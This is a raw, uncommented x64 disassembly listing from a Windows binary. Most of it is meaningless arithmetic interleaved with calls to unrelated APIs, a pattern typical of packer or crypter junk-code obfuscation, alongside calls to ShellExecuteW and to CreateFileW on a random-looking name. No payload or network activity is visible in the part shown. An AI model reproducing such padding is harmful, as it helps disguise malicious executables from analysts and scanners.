sub rax, rcx
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x658]
mov ecx, dword [rsp + 0x594]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x298]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x568]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [0x140019370]
mov word [rax], cx
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov eax, dword [rsp + 0x140]
sub eax, 0x8f
mov dword [rsp + 0x140], eax
mov rax, qword [rsp + 0x1f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x624]
sub eax, ecx
mov byte [rsp + 0x4f8], al
movsx ecx, word [0x14001801c]
movsx eax, word [rsp + 0x4c0]
add ecx, eax
mov rax, qword [rsp + 0x408]
mov word [rax], cx
mov rax, qword [rsp + 0x538]
mov rcx, qword [rsp + 0x608]
add rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xe8]
sub eax, ecx
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
add rax, qword [rsp + 0x400]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rsp + 0x348]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x668], eax
movsx eax, byte [rsp + 0x2ec]
movsx ecx, byte [rsp + 0x630]
xor eax, ecx
mov byte [rsp + 0x3d8], al
movzx ecx, word [rsp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x264], ax
movzx ecx, word [rsp + 0x580]
movzx eax, word [rsp + 0x558]
or ecx, eax
mov rax, qword [0x140019370]
mov word [rax], cx
mov rax, qword [0x140019370]
movzx edx, word [rax]
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x574], ax
movsx edx, word [rsp + 0x120]
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x460], ax
mov rax, qword [rsp + 0x3a8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x158], al
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x4b0]
add rax, rcx
mov qword [rsp + 0x428], rax
mov ecx, dword [rsp + 0x448]
mov eax, dword [rsp + 0x100]
sub eax, ecx
mov dword [rsp + 0x348], eax
mov rcx, qword [rsp + 0x658]
mov eax, dword [rsp + 0x680]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x698]
add rax, qword [rcx]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x460], ax
movsx eax, byte [rsp + 0x5b8]
movsx ecx, byte [rsp + 0x2ec]
sub eax, ecx
mov byte [0x140019344], al
mov rax, qword [rsp + 0x548]
movzx eax, byte [rax]
movzx ecx, byte [0x140018003]
add eax, ecx
mov byte [rsp + 0x370], al
movzx edx, word [rsp + 0x390]
mov rax, qword [rsp + 0x458]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x168], ax
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x114]
xor eax, ecx
mov byte [rsp + 0x2ed], al
mov ecx, dword [rsp + 0x358]
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rax, qword [rsp + 0x190]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x100], eax
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x510]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2b0], rax
cmp dword [rsp + 0x140], 0xce88
jae 0x1400065fe
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x6a8], rax
movzx edx, byte [rsp + 0x134]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x2ed], al
mov rdx, qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x5b0]
mov rax, qword [rax]
mov rdx, qword [rdx]
sub rdx, rax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jb 0x140006c17
mov rax, qword [rsp + 0x188]
movzx eax, byte [rax]
mov byte [0x140019347], al
lea rax, [rsp + 0x4d4]
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x1f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
and eax, ecx
mov byte [rsp + 0x4f8], al
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x670], ax
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
add rax, qword [rsp + 0x608]
mov qword [rsp + 0x428], rax
lea rax, [rsp + 0x590]
mov qword [rsp + 0x210], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r11, qword [rsp + 0x628]
mov ecx, dword [r11]
add ecx, dword [rsp + 0x100]
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
jmp 0x140006cab
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x2b0]
add rax, rcx
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x200]
movzx edx, word [rax]
mov rax, qword [rsp + 0x530]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [0x140018008], ax
movsx eax, word [rsp + 0x328]
movsx ecx, word [rsp + 0x4c0]
xor eax, ecx
mov word [rsp + 0x6a0], ax
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 0xd5
lea r9, [rsp + 0xd8]
mov r8d, 0x41
lea rdx, [rsp + 0x440]
mov rcx, qword [rsp + 0x2f8]
call qword [sym.imp.GDI32.dll_GdiGradientFill]
mov dword [rsp + 0x3d4], eax
movzx r8d, byte [rsp + 0x4f8]
mov rax, qword [rsp + 0x548]
movzx eax, byte [rax]
movzx ecx, al
shl r8d, cl
movzx edx, byte [rsp + 0x135]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
cdq
idiv ecx
cmp r8d, eax
jl 0x140006db9
movzx ecx, byte [0x140018002]
movzx eax, byte [rsp + 0x624]
imul ecx, eax
mov rax, qword [rsp + 0x548]
mov byte [rax], cl
lea rax, [rsp + 0x260]
mov qword [rsp + 0xf0], rax
movzx ecx, byte [rsp + 0x4f8]
mov rax, qword [rsp + 0x548]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
lea rax, [0x140019388]
mov qword [rsp + 0x478], rax
mov rdx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x290]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x448], eax
movzx ecx, word [rsp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x270], ax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [0x140018010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x338], rax
mov eax, dword [rsp + 0x4d0]
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c0]
sub eax, ecx
mov word [0x14001802c], ax
jmp 0x140006e0c
mov eax, dword [rsp + 0x448]
mov edx, dword [rsp + 0x348]
or edx, eax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x668]
and eax, ecx
cmp edx, eax
jbe 0x140006e0c
movzx ecx, word [rsp + 0x558]
mov rax, qword [0x140019370]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x500]
mov word [rax], cx
movzx ecx, byte [rsp + 0x5b8]
call fcn.140001050
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
imul eax, ecx
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0x1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x519], al
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x418]
and eax, ecx
mov word [rsp + 0x528], ax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x5a0], rax
mov ecx, dword [rsp + 0x668]
mov eax, dword [rsp + 0x100]
add eax, ecx
mov dword [rsp + 0x248], eax
movzx ecx, word [rsp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x264], ax
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
add eax, dword [rsp + 0x590]
mov dword [rsp + 0x594], eax
lea rax, [rsp + 0x470]
mov qword [0x140019390], rax
mov rax, qword [rsp + 0x408]
movzx eax, word [rax]
mov word [rsp + 0x690], ax
mov rax, qword [0x140019370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c]
sub eax, ecx
mov word [rsp + 0x580], ax
mov rax, qword [rsp + 0x500]
movzx eax, word [rax]
mov word [rsp + 0x4c4], ax
movsx edx, byte [rsp + 0x638]
movsx eax, byte [0x140019347]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x260], al
mov rax, qword [rsp + 0x210]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x44], eax
lea rax, [rsp + 0x348]
mov qword [rsp + 0x678], rax
mov rax, qword [0x140018010]
mov rcx, qword [rsp + 0x428]
xor rcx, rax
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x698]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5a0], rax
movzx eax, word [rsp + 0x390]
movzx ecx, word [rsp + 0x1f8]
and eax, ecx
mov word [0x140018008], ax
movsx eax, byte [0x140019344]
movsx ecx, byte [rsp + 0x5b8]
sub eax, ecx
mov byte [rsp + 0x630], al
movsx eax, word [rsp + 0x418]
movsx ecx, word [rsp + 0x528]
sub eax, ecx
mov word [rsp + 0x460], ax
movzx eax, byte [rsp + 0x624]
movzx ecx, byte [0x140018003]
sub eax, ecx
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0xf0]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x178]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x288]
mov rax, qword [rax]
add rax, qword [0x140018010]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x100]
sub ecx, eax
mov rax, qword [rsp + 0x190]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x358]
mov eax, dword [rsp + 0x4d0]
and eax, ecx
mov dword [rsp + 0x634], eax
mov rax, qword [rsp + 0x5b0]
mov rax, qword [rax]
mov rcx, qword [0x140019388]
add rcx, rax
mov rax, qword [rsp + 0x510]
mov qword [rax], rcx
movzx edx, byte [rsp + 0x470]
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [0x140018002], al
mov eax, dword [rsp + 0x40]
sub eax, 0xa2
mov dword [rsp + 0x40], eax
movzx edx, word [rsp + 0x168]
movzx eax, word [0x140018024]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x9c], ax
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
or eax, ecx
mov byte [rsp + 0x4c], al
movsx eax, word [rsp + 0x4c0]
movsx ecx, word [rsp + 0x418]
xor eax, ecx
mov word [rsp + 0x328], ax
movzx eax, word [0x140018024]
movzx ecx, word [rsp + 0x4d4]
add eax, ecx
mov word [rsp + 0x558], ax
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x448]
and ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x658]
add eax, dword [rcx]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x288]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x608]
sub rax, rcx
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x550]
sub rcx, rax
mov rax, qword [rsp + 0x478]
mov qword [rax], rcx
mov rax, qword [rsp + 0x450]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x140019360], ax
movzx ecx, byte [rsp + 0x134]
mov rax, qword [rsp + 0x548]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x540]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x3d8]
movsx eax, byte [rsp + 0x519]
add ecx, eax
mov rax, qword [rsp + 0x178]
mov byte [rax], cl
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x640], eax
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x148]
add ecx, eax
mov rax, qword [rsp + 0x340]
mov word [rax], cx
cmp dword [rsp + 0x40], 0x32bd
jae 0x140006f55
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x408]
mov word [rax], cx
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [rsp + 0x448], eax
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov dword [rsp + 0x730], eax
cmp dword [rsp + 0x730], 0
je 0x140007297
jmp 0x14000930f
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f0]
mov byte [rax], cl
mov rax, qword [rsp + 0x3c8]
mov rax, qword [rax]
mov qword [rsp + 0x738], rax
cmp qword [rsp + 0x738], 0
je 0x1400072f4
movabs rax, 0x73d683c38686b4
cmp qword [rsp + 0x738], rax
je 0x140007388
jmp 0x140007398
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
mov dword [rsp + 0x620], eax
mov eax, dword [rsp + 0x248]
mov edx, dword [rsp + 0x100]
sub edx, eax
mov ecx, dword [rsp + 0x448]
mov eax, dword [rsp + 0x348]
add eax, ecx
cmp edx, eax
je 0x140007365
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rcx]
mov rax, qword [0x140018010]
add rax, rcx
mov qword [rsp + 0x150], rax
mov rcx, qword [rsp + 0x628]
mov eax, dword [rsp + 0x668]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x628]
mov dword [rax], ecx
jmp 0x140007386
mov rcx, qword [rsp + 0x3c8]
mov rax, qword [rsp + 0x5a0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x478]
mov qword [rax], rcx
jmp 0x140007398
mov rax, qword [rsp + 0x1d8]
movzx ecx, byte [rax]
call fcn.140001050
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0x2a0], al
lea rax, [rsp + 0x26c]
mov qword [0x140019368], rax
movsx edx, word [rsp + 0x690]
movsx eax, word [section..data]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x460], ax
mov rax, qword [rsp + 0x678]
mov eax, dword [rax]
mov dword [rsp + 0x740], eax
cmp dword [rsp + 0x740], 0x350e
je 0x1400074f3
cmp dword [rsp + 0x740], 0x42b2
je 0x140007408
jmp 0x1400075ee
movzx edx, word [rsp + 0x9c]
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x148], ax
mov rax, qword [rsp + 0x178]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x2ec]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x3d8], al
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x198]
or rax, rcx
mov qword [rsp + 0x550], rax
mov dword [rsp + 0x28], 0x34
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xc0]
mov r8, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x398]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x4e8], rax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140018010]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0xd0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x428]
call fcn.140009c00
mov r11, qword [rsp + 0x170]
mov ecx, dword [r11]
mov eax, dword [rsp + 0x680]
add eax, ecx
mov dword [rsp + 0x4d0], eax
jmp 0x1400075ee
mov rax, qword [rsp + 0x290]
mov ecx, dword [rsp + 0x448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x100], eax
movzx ecx, word [rsp + 0x168]
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x4c8]
mov word [rax], cx
mov rax, qword [rsp + 0x450]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x14001801c], ax
movsx ecx, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x3d8]
add ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x500]
movzx edx, word [rax]
mov rax, qword [rsp + 0x278]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x390], ax
mov rax, qword [rsp + 0x540]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
add eax, dword [rsp + 0x100]
mov dword [rsp + 0x668], eax
movzx r9d, word [rsp + 0x580]
movzx r8d, word [rsp + 0x1f8]
mov rax, qword [rsp + 0x210]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x198]
call fcn.140009ca0
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x4d8], eax
movzx r8d, byte [rsp + 0x4c]
movzx eax, byte [rsp + 0x4f8]
or r8d, eax
movzx edx, byte [rsp + 0x134]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
cdq
idiv ecx
cmp r8d, eax
jle 0x140009285
mov rax, qword [rsp + 0x500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x390]
add eax, ecx
mov word [rsp + 0x9c], ax
mov rax, qword [rsp + 0x1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x4f0], al
mov rax, qword [rsp + 0xf0]
movsx eax, byte [rax]
movsx ecx, byte [0x140019408]
add eax, ecx
mov byte [rsp + 0x2ec], al
movsx edx, byte [rsp + 0x260]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
sub edx, eax
movsx eax, byte [rsp + 0x2ec]
movsx ecx, byte [rsp + 0x638]
sub eax, ecx
cmp edx, eax
jle 0x140007753
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x44]
and eax, ecx
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
sub eax, ecx
mov dword [rsp + 0x248], eax
mov r8, qword [rsp + 0x520]
mov edx, 0xe4
mov rcx, qword [rsp + 0x230]
call qword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x150]
mov rcx, qword [0x140018010]
add rcx, rax
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov rax, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x550]
add rcx, rax
mov rax, qword [rsp + 0x5b0]
mov qword [rax], rcx
movzx r8d, word [rsp + 0x1f8]
mov rax, qword [0x140019370]
movzx eax, word [rax]
sub r8d, eax
movzx edx, word [rsp + 0x4c4]
mov rax, qword [rsp + 0x500]
movzx ecx, word [rax]
mov eax, edx
or eax, ecx
cmp r8d, eax
jle 0x14000778f
call fcn.1400010b0
jmp 0x140007836
movzx r8d, word [rsp + 0x168]
mov rax, qword [rsp + 0x568]
movzx eax, word [rax]
movzx ecx, al
sar r8d, cl
mov rax, qword [rsp + 0x458]
movzx edx, word [rax]
movzx eax, word [rsp + 0x4d4]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp r8d, eax
je 0x140007836
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
movsx ecx, word [0x140019360]
and eax, ecx
mov word [0x14001801c], ax
mov rax, qword [rsp + 0x278]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4c8]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x168], ax
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
call fcn.140009c00
mov eax, dword [rsp + 0x594]
mov edx, dword [rsp + 0x3a0]
add edx, eax
mov ecx, dword [rsp + 0x44]
mov eax, dword [rsp + 0x48]
add eax, ecx
cmp edx, eax
je 0x140007927
movsx ecx, byte [rsp + 0x5b8]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0xf0]
mov byte [rax], cl
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4c0], ax
mov rax, qword [rsp + 0x1f0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x3b0], al
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x198]
add rcx, rax
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x150]
mov rax, qword [rsp + 0x288]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x170]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x108]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x3a0]
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
call fcn.140001000
jmp 0x140007a11
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
sub eax, ecx
cmp edx, eax
jl 0x140007a11
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r11d, dword [rsp + 0x448]
mov dword [rsp + 0x60], r11d
mov rdx, qword [rsp + 0x658]
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
mov eax, dword [rdx]
xor eax, ecx
mov dword [rsp + 0x4d0], eax
lea rax, [rsp + 0x158]
mov qword [0x140019378], rax
movzx edx, word [rsp + 0x4c4]
movzx eax, word [rsp + 0x148]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x200]
mov word [rax], cx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1e8], eax
mov rax, qword [rsp + 0x3e0]
movzx eax, word [rax]
mov word [rsp + 0x13c], ax
movzx ecx, word [0x140018020]
movzx eax, word [rsp + 0x580]
or ecx, eax
mov rax, qword [rsp + 0x200]
mov word [rax], cx
mov rax, qword [rsp + 0xf0]
movzx eax, byte [rax]
mov byte [rsp + 0x98], al
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x5a0]
and rax, rcx
mov qword [rsp + 0x2b0], rax
mov eax, dword [rsp + 0x448]
mov dword [rsp + 0x744], eax
cmp dword [rsp + 0x744], 0x97a0
je 0x140007a8e
cmp dword [rsp + 0x744], 0xa4bd
je 0x140007a59
jmp 0x140007af9
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x210]
add eax, dword [rcx]
mov dword [rsp + 0x48], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x6a8]
add rax, rcx
mov qword [rsp + 0x150], rax
jmp 0x140007af9
lea r8, [rsp + 0x634]
movss xmm1, dword [0x1400148a4]
mov rcx, qword [rsp + 0x650]
call qword [sym.imp.GDI32.dll_SetMiterLimit]
mov dword [rsp + 0x3d4], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x100]
sub ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4e0]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a8]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
call fcn.140001100
mov rax, qword [rsp + 0x190]
mov eax, dword [rax]
mov dword [rsp + 0x748], eax
cmp dword [rsp + 0x748], 0
je 0x140007b19
jmp 0x1400090f5
movzx eax, byte [0x140018002]
movzx ecx, byte [rsp + 0x26c]
sub eax, ecx
mov byte [rsp + 0x4f0], al
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov dword [rsp + 0x4f4], eax
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a8]
add rax, qword [rcx]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
mov qword [rsp + 0x368], rax
mov ecx, dword [rsp + 0x594]
mov eax, dword [rsp + 0x4d8]
add eax, ecx
mov dword [rsp + 0x358], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.jWfS6EbM9E1r6IjmrGwdOaf0P
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
movsx edx, word [rsp + 0x13c]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x140018030], ax
mov rax, qword [rsp + 0xf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x260]
sub eax, ecx
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x540]
movzx eax, byte [rax]
mov byte [rsp + 0x54], al
movzx ecx, word [rsp + 0x168]
movzx eax, word [rsp + 0x574]
and ecx, eax
mov rax, qword [rsp + 0x530]
mov word [rax], cx
lea rax, [rsp + 0x370]
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x678]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
xor eax, ecx
mov dword [rsp + 0x668], eax
mov rax, qword [rsp + 0x3a8]
movsx r8d, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
sar r8d, cl
movsx edx, byte [rsp + 0x260]
mov rax, qword [rsp + 0x178]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
cmp r8d, eax
jg 0x140007cd2
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
add ecx, dword [rsp + 0xa0]
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
call fcn.140009c50
mov rcx, qword [rsp + 0x388]
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x288]
mov qword [rax], rcx
jmp 0x140007d1d
mov rax, qword [rsp + 0x3c8]
mov rax, qword [rax]
add rax, qword [rsp + 0x5a0]
